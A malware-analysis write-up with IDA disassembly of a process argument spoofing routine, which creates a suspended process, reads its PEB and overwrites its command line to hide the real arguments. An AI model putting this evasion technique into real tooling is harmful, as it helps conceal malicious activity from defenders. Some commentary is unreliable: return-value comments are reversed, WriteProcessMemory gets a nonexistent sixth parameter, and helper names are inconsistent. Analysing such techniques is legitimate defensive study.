Process Argument spoofing is a technique used to conceal the command line arguments of a newly spawned process. Process argument spoofing is done by the following steps:

1. Create process in suspended state.
2. Get remote PEB address of the suspended process.
3. Read remote PEB struct from the suspended process.
4. Read remote `PEB→ProcessParameters` structure from the suspended process.
5. Patch the string `ProcessParameters.Commandline.Bufffer` & overwrite with the payload to execute (this case `mstsc.exe`).

Identifying Helper Functions

This specimen has 2 helper functions, based on their functionality I have named them:

1. `ReadSuspendedProcess`
2. `WriteSuspendedProcess`

ReadSuspendedProcess

This subroutine is responsible for reading the remote created process (suspended). The subroutine does this by first allocating memory on the heap. (`14000115F`).

```
.text:0000000140001149 call    cs:__imp_GetProcessHeap ; Retrieving a handle to the process heap
.text:000000014000114F mov     rcx, [rsp+58h+dwBytes]
.text:0000000140001154 mov     r8, rcx         ; dwBytes
.text:0000000140001157 mov     edx, 8          ; dwFlags -> HEAP_ZERO_MEMORY
.text:000000014000115C mov     rcx, rax        ; hHeap -> Handle to heap memory
.text:000000014000115F call    cs:__imp_HeapAlloc
```

Next, the subroutine will return the value of `ReadProcessMemory`. This subroutine has some parameters which I am going to explain below.

1. `hProcess` - Represents the handle to the suspended remote process.
2. `lpBaseAddressHeapAlloc` - Points to the base address of the memory block allocated from the heap, from which `ReadProcessMemory` will read data.
3. `lpBuffer` - Serves as the buffer that will receive the data read by `ReadProcessMemory` from the allocated memory block.
4. `dwSize` - Holds 4 bytes (DWORD), specifying the number of bytes to read from the allocated heap memory.
5. `lpNumberOfBytesRead` - A pointer intended to receive the number of bytes read from the allocated heap memory by `ReadProcessMemory`.

```
.text:0000000140001110
.text:0000000140001110
.text:0000000140001110
.text:0000000140001110 ; _BOOL8 __fastcall ReadSuspendedProcess(void *hProcess, void *pAddress, void **ppReadBuffer, unsigned int dwBufferSize)
.text:0000000140001110 ReadSuspendedProcess proc near
.text:0000000140001110
.text:0000000140001110 lpNumberOfBytesRead= qword ptr -38h
.text:0000000140001110 dwBytes= qword ptr -28h
.text:0000000140001110 NumberOfBytesRead= qword ptr -20h
.text:0000000140001110 var_18= qword ptr -18h
.text:0000000140001110 hProcess= qword ptr  8
.text:0000000140001110 lpBaseAddressHeapAlloc= qword ptr  10h
.text:0000000140001110 arg_10= qword ptr  18h
.text:0000000140001110 dwSize= qword ptr  20h
.text:0000000140001110
.text:0000000140001110 ; __unwind { // __GSHandlerCheck
.text:0000000140001110 mov     [rsp+32], r9d
.text:0000000140001115 mov     [rsp+arg_10], r8
.text:000000014000111A mov     [rsp+lpBaseAddressHeapAlloc], rdx
.text:000000014000111F mov     [rsp+hProcess], rcx
.text:0000000140001124 sub     rsp, 58h
.text:0000000140001128 mov     rax, cs:__security_cookie
.text:000000014000112F xor     rax, rsp
.text:0000000140001132 mov     [rsp+58h+var_18], rax
.text:0000000140001137 mov     [rsp+58h+NumberOfBytesRead], 0
.text:0000000140001140 mov     eax, dword ptr [rsp+58h+dwSize]
.text:0000000140001144 mov     [rsp+58h+dwBytes], rax
.text:0000000140001149 call    cs:__imp_GetProcessHeap ; Retrieving a handle to the process heap
.text:000000014000114F mov     rcx, [rsp+58h+dwBytes]
.text:0000000140001154 mov     r8, rcx         ; dwBytes
.text:0000000140001157 mov     edx, 8          ; dwFlags -> HEAP_ZERO_MEMORY
.text:000000014000115C mov     rcx, rax        ; hHeap -> Handle to heap memory
.text:000000014000115F call    cs:__imp_HeapAlloc
.text:0000000140001165 mov     rcx, [rsp+58h+arg_10]
.text:000000014000116A mov     [rcx], rax
.text:000000014000116D mov     eax, dword ptr [rsp+58h+dwSize]
.text:0000000140001171 lea     rcx, [rsp+58h+NumberOfBytesRead]
.text:0000000140001176 mov     [rsp+58h+lpNumberOfBytesRead], rcx ; lpNumberOfBytesRead
.text:000000014000117B mov     r9d, eax        ; nSize
.text:000000014000117E mov     rax, [rsp+58h+arg_10]
.text:0000000140001183 mov     r8, [rax]       ; lpBuffer
.text:0000000140001186 mov     rdx, [rsp+58h+lpBaseAddressHeapAlloc] ; lpBaseAddress
.text:000000014000118B mov     rcx, [rsp+58h+hProcess] ; hProcess
.text:0000000140001190 call    cs:__imp_ReadProcessMemory
.text:0000000140001196 test    eax, eax
.text:0000000140001198 jz      short loc_1400011A5
```

```
.text:000000014000119A mov     eax, dword ptr [rsp+58h+dwSize] ; Moves the number of read bytes into eax
.text:000000014000119E cmp     [rsp+58h+NumberOfBytesRead], rax ; compare NumOfBytesRead != dwSize
.text:00000001400011A3 jz      short loc_1400011A9 ; return -1 (failure)
```

```
.text:00000001400011A5
.text:00000001400011A5 loc_1400011A5:          ; return 0 (Sucess)
.text:00000001400011A5 xor     eax, eax
.text:00000001400011A7 jmp     short loc_1400011AE
```

```
.text:00000001400011A9
.text:00000001400011A9 loc_1400011A9:          ; return -1 (failure)
.text:00000001400011A9 mov     eax, 1
```

t address `0x1400011BF`, the `retn` instruction is used to exit the `ReadSuspendedProcess` function and return control to the calling code.

```
.text:00000001400011AE
.text:00000001400011AE loc_1400011AE:
.text:00000001400011AE mov     rcx, [rsp+58h+var_18]
.text:00000001400011B3 xor     rcx, rsp        ; StackCookie
.text:00000001400011B6 call    __security_check_cookie
.text:00000001400011BB add     rsp, 88
.text:00000001400011BF retn
.text:00000001400011BF ; } // starts at 140001110
.text:00000001400011BF ReadSuspendedProcess endp
.text:00000001400011BF
```

Summary of ReadSuspendedProcess

This helper function facilitates the allocation of memory to read the memory of a remote (suspended) process. If it successfully retrieves a handle to the remote process, the subroutine returns control to the calling code, specifically to the function `CreateArgSpoofedProcess`.

WriteSuspendProcess

This subroutine will patch the parameters of the PowerShell command. It will do this by accessing `PEB→ProcessParameter` member and modify its member value.

```
; _BOOL8 __fastcall WriteToTargetProcess(void *hProcess, void *pAddressToWriteTo, void *pBuffer, unsigned int dwBufferSize)
WriteToTargetProcess proc near

lpNumberOfBytesWritten= qword ptr -28h
NumberOfBytesWritten= qword ptr -18h
var_10= qword ptr -10h
hProcess= qword ptr  8
lpBaseAddress= qword ptr  10h
lpBuffer= qword ptr  18h
nSize= qword ptr  20h

; __unwind { // __GSHandlerCheck
mov     dword ptr [rsp+nSize], r9d
mov     [rsp+lpBuffer], r8
mov     [rsp+lpBaseAddress], rdx
mov     [rsp+hProcess], rcx
sub     rsp, 48h
mov     rax, cs:__security_cookie
xor     rax, rsp
mov     [rsp+48h+var_10], rax
mov     [rsp+48h+NumberOfBytesWritten], 0 ; Initialize variable
mov     eax, dword ptr [rsp+48h+nSize] ; Move value nSize into eax
lea     rcx, [rsp+48h+NumberOfBytesWritten]
mov     [rsp+48h+lpNumberOfBytesWritten], rcx ; lpNumberOfBytesWritten -> Store address of NumberOfBytesWritten in lpNumberOfBytesWritten
mov     r9d, eax        ; nSize -> 0
mov     r8, [rsp+48h+lpBuffer] ; lpBuffer
mov     rdx, [rsp+48h+lpBaseAddress] ; lpBaseAddress
mov     rcx, [rsp+48h+hProcess] ; hProcess
call    cs:__imp_WriteProcessMemory
test    eax, eax
jz      short loc_140001225

mov     eax, dword ptr [rsp+48h+nSize]
cmp     [rsp+48h+NumberOfBytesWritten], rax
jz      short loc_140001229

loc_140001225:
xor     eax, eax
jmp     short loc_14000122E

loc_140001229:
mov     eax, 1

loc_14000122E:
mov     rcx, [rsp+48h+var_10]
xor     rcx, rsp        ; StackCookie
call    __security_check_cookie
add     rsp, 48h
retn
; } // starts at 1400011C0
WriteToTargetProcess endp
```

Summary Of WriteSuspendedProcess

The subroutine "`WriteSuspendedProcess`" facilitates the injection of data into a suspended remote process using the Windows API function `WriteProcessMemory`. It requires six parameters:

1. `hProcess`: Represents the handle to the suspended remote process.
2. `lpBaseAddress`: Points to the base address within the remote process where the data will be written.
3. `lpBuffer`: Contains the data to be written into the remote process.

4. `nSize`: Specifies the size, in bytes, of the data to be written.
5. `lpNumberOfBytesWritten`: A pointer that receives the number of bytes successfully written into the remote process.
6. `lpOriginalProtection`: **Optional** parameter pointing to a variable that will receive the previous protection value of the memory region, which can be used for restoration purposes.

CreateArgSpoofedProcess

The first section of the subroutine initializes various structures and variables. It clears memory regions and sets up necessary pointers. Additionally, it retrieves the address of the `NtQueryInformationProcess` function from the `NTDLL` module. This function is crucial as it allows the subroutine to access the `PROCESS_BASIC_INFORMATION` structure of the remote suspended process. This structure contains the address of the Process Environment Block (PEB), which is essential for modifying the command line argument of the remote process.

```
.text:0000000140001240 ; __unwind { // __GSHandlerCheck
.text:0000000140001240 mov     [rsp+arg_18], r9
.text:0000000140001245 mov     [rsp+arg_10], r8
.text:000000014000124A mov     [rsp+lpString], rdx
.text:000000014000124F mov     [rsp+lpString2], rcx
.text:0000000140001254 push    rdi
.text:0000000140001255 sub     rsp, 350h
.text:000000014000125C mov     rax, cs:__security_cookie
.text:0000000140001263 xor     rax, rsp
.text:0000000140001266 mov     [rsp+358h+var_18], rax
.text:000000014000126E mov     [rsp+358h+var_308], 0
.text:0000000140001276 lea     rax, [rsp+358h+RtlSecureZeroMemory_pSTARTUPINFOW]
.text:000000014000127E mov     rdi, rax
.text:0000000140001281 xor     eax, eax
.text:0000000140001283 mov     ecx, 68h ; 'h'
.text:0000000140001288 rep stosb
.text:000000014000128A lea     rax, [rsp+358h+ProcessInformation]
.text:000000014000128F mov     rdi, rax
.text:0000000140001292 xor     eax, eax
.text:0000000140001294 mov     ecx, 18h
.text:0000000140001299 rep stosb
.text:000000014000129B lea     rax, [rsp+358h+pSTARTUPINFOW]
.text:00000001400012A3 mov     rdi, rax
.text:00000001400012A6 xor     eax, eax
.text:00000001400012A8 mov     ecx, 30h ; '0'
.text:00000001400012AD rep stosb
.text:00000001400012AF mov     [rsp+358h+var_2A0], 0
.text:00000001400012BA mov     [rsp+358h+ppReadBuffer], 0
.text:00000001400012C3 mov     [rsp+358h+lpMem], 0
.text:00000001400012CC mov     edx, 68h ; 'h'  ; cnt
.text:00000001400012D1 lea     rcx, [rsp+358h+RtlSecureZeroMemory_pSTARTUPINFOW] ; ptr
.text:00000001400012D9 call    RtlSecureZeroMemory
.text:00000001400012DE mov     edx, 18h        ; cnt
.text:00000001400012E3 lea     rcx, [rsp+358h+ProcessInformation] ; ptr
.text:00000001400012E8 call    RtlSecureZeroMemory
.text:00000001400012ED mov     [rsp+358h+RtlSecureZeroMemory_pSTARTUPINFOW.cb], 68h ; 'h'
.text:00000001400012F8 lea     rcx, aNtdll     ; "NTDLL"
.text:00000001400012FF call    cs:__imp_GetModuleHandleW
.text:0000000140001305 lea     rdx, ProcName   ; "NtQueryInformationProcess"
.text:000000014000130C mov     rcx, rax        ; hModule
.text:000000014000130F call    cs:__imp_GetProcAddress
.text:0000000140001315 mov     [rsp+358h+fn_p_NtQueryInformationProcess], rax
.text:000000014000131A cmp     [rsp+358h+fn_p_NtQueryInformationProcess], 0
.text:0000000140001320 jnz     short loc_140001329
```

At `loc_140001329`, the subroutine proceeds to handle the following tasks:

1. Copies the fake arguments into the buffer using the `lstrcpyW` `(0x140001339)` Windows API function.
2. Initializes various parameters required for calling the `CreateProcessW` function, such as the startup information, current directory, environment, creation flags, and handle

inheritance.

3. Calls the `CreateProcessW` `(0x14000138B)` function with the appropriate parameters, including the fake arguments.

The subroutine then checks the return value of `CreateProcessW`

```
.text:0000000140001329
.text:0000000140001329 loc_140001329:          ; lpString2
.text:0000000140001329 mov     rdx, [rsp+358h+szFakeArgs]
.text:0000000140001331 lea     rcx, [rsp+358h+StringBuffer] ; lpString1
.text:0000000140001339 call    cs:__imp_lstrcpyW
.text:000000014000133F lea     rax, [rsp+358h+ProcessInformation]
.text:0000000140001344 mov     [rsp+358h+lpProcessInformation], rax ; lpProcessInformation -> pPROCESS_INFORMATION struct
.text:0000000140001349 lea     rax, [rsp+358h+RtlSecureZeroMemory_pSTARTUPINFOW]
.text:0000000140001351 mov     [rsp+358h+lpStartupInfo], rax ; lpStartupInfo -> pSTARTINFO struct
.text:0000000140001356 lea     rax, aCWindowsSystem ; "C:\\Windows\\System32\\"
.text:000000014000135D mov     [rsp+358h+lpCurrentDirectory], rax ; lpCurrentDirectory -> "C:\\Windows\\System32\\"
.text:0000000140001362 mov     [rsp+358h+lpEnvironment], 0 ; lpEnvironment -> 0
.text:000000014000136B mov     [rsp+358h+dwCreationFlags], 8000004h ; dwCreationFlags -> CREATE_SUSPENDED
.text:0000000140001373 mov     [rsp+358h+bInheritHandles], 0 ; bInheritHandles -> 0
.text:000000014000137B xor     r9d, r9d        ; lpThreadAttributes -> 0
.text:000000014000137E xor     r8d, r8d        ; lpProcessAttributes -> 0
.text:0000000140001381 lea     rdx, [rsp+358h+StringBuffer] ; lpCommandLine -> Our FakeArgs
.text:0000000140001389 xor     ecx, ecx        ; lpApplicationName -> NULL, means that we need to added in lpCommandLine string (fakeArgs)
.text:000000014000138B call    cs:__imp_CreateProcessW
.text:0000000140001391 test    eax, eax
.text:0000000140001393 jnz     short loc_14000139C
```

At `loc_14000139C`, the subroutine continues its execution by performing the following actions:

1. Retrieves the `PROCESS_BASIC_INFORMATION` structure of the remote process, which contains essential information such as the Process Environment Block (PEB) address.
2. Prepares to patch the fake arguments with malicious ones by setting up a helper function.
3. Stores the address of the `PROCESS_BASIC_INFORMATION` structure in a designated location.
4. Sets up parameters for calling the `NtQueryInformationProcess` function, including the handle to the remote process and pointers to required structures.
5. Calls the `NtQueryInformationProcess` function to retrieve information about the remote process.
6. Stores the return status of the function call.
7. Checks if the function call was successful, indicated by a status value of zero, and jumps to a specified location if successful.

```
.text:000000014000139C
.text:000000014000139C loc_14000139C:          ; Getting the PROCESS_BASIC_INFORMATION structure of the remote process which contains the PEB address.
.text:000000014000139C lea     rax, [rsp+358h+var_2A0] ; (This is where the helper functions comes in play, and patch the fake arguments with the malicious one
.text:00000001400013A4 mov     qword ptr [rsp+358h+bInheritHandles], rax
.text:00000001400013A9 mov     r9d, 30h ; '0'
.text:00000001400013AF lea     r8, [rsp+358h+pSTARTUPINFOW]
.text:00000001400013B7 xor     edx, edx
.text:00000001400013B9 mov     rcx, [rsp+358h+ProcessInformation.hProcess]
.text:00000001400013BE call    [rsp+358h+fn_p_NtQueryInformationProcess]
.text:00000001400013C2 mov     [rsp+358h+STATUS], eax
.text:00000001400013C6 cmp     [rsp+358h+STATUS], 0
.text:00000001400013CB jz      loc_140001531
```

At `loc_14000148B`, the subroutine proceeds with the following actions:

1. Calls the `GetProcessHeap` function to retrieve a handle to the process heap.

2. Utilizes the `HeapFree` function to release memory allocated for the read buffer (`ppReadBuffer`) associated with the remote process.
3. Again calls `GetProcessHeap` to obtain a handle to the process heap.
4. Invokes `HeapFree` to deallocate memory allocated for the memory buffer (`lpMem`) used in the subroutine.
5. Retrieves the handle to the thread of the suspended remote process from the `ProcessInformation` structure and resumes its execution using `ResumeThread`.
6. Transfers the process and thread identifiers (PID and TID) to specified memory locations for later reference.
7. Checks if the process handle is valid by comparing it to zero and jumps to `loc_140001519` if it is.